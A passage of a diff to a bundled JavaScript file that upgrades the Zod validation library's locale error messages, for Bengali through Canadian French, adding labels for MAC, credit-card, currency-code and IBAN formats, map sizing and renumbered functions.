\u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59687,12 +60800,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59760,17 +60877,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59796,12 +61047,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59872,17 +61127,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59906,14 +61162,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59988,17 +61248,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60024,12 +61285,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60097,12 +61362,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60141,6 +61406,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60207,12 +61475,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60251,6 +61519,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60259,12 +61530,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60272,14 +61549,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60310,6 +61587,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60320,17 +61600,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60356,12 +61637,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60430,12 +61715,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60466,12 +61751,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60563,17 +61852,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60599,12 +61889,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60678,17 +61972,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60718,12 +62013,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60791,12 +62090,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60807,7 +62106,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60827,17 +62126,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60851,11 +62154,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60866,7 +62169,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60891,13 +62194,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60917,17 +62220,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60953,12 +62257,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61025,12 +62333,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// 